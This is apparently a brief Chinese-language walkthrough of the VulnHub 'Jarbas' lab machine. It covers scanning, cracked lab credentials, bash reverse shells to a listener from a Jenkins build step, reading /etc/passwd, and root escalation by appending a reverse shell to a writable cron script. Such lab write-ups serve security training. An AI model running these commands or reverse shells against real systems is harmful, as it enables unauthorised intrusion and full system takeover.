vulnhub - Jarbas
信息收集
sudo nmap -sT -sV -sC -O -p22,80,3306,8080 192.168.157.176
sudo nmap -script=vuln -p22,80,3306,8080 192.168.157.176
有robots.txt
# we don't want robots to click "build" links
8080是后台登录
目录扫描
扫一下目录(不指定-x php,html的话没扫到)
sudo gobuster dir -u http://192.168.157.176 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,html
有/access.html
解完md5得到三个用户及密码
tiago:italia99
trindade:marianna
eder:vipsu
其中eder:vipsu可以登录8080的后台
登入CMS反弹shell
创建项目后翻找可以执行命令的地方
直接弹shell
/bin/bash -i >& /dev/tcp/192.168.157.161/9999 0>&1
保存后构建即可
没有权限
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
eder:x:1000:1000:Eder Luiz:/home/eder:/bin/bash
crontab提权
查看系统定时任务: cat /etc/crontab
发现了一个每五分钟定期执行的sh脚本CleaningScript.sh
将反弹Shell的命令写入脚本文件
echo "/bin/bash -i >& /dev/tcp/192.168.157.161/7777 0>&1" >> /etc/script/CleaningScript.sh
等shell就好了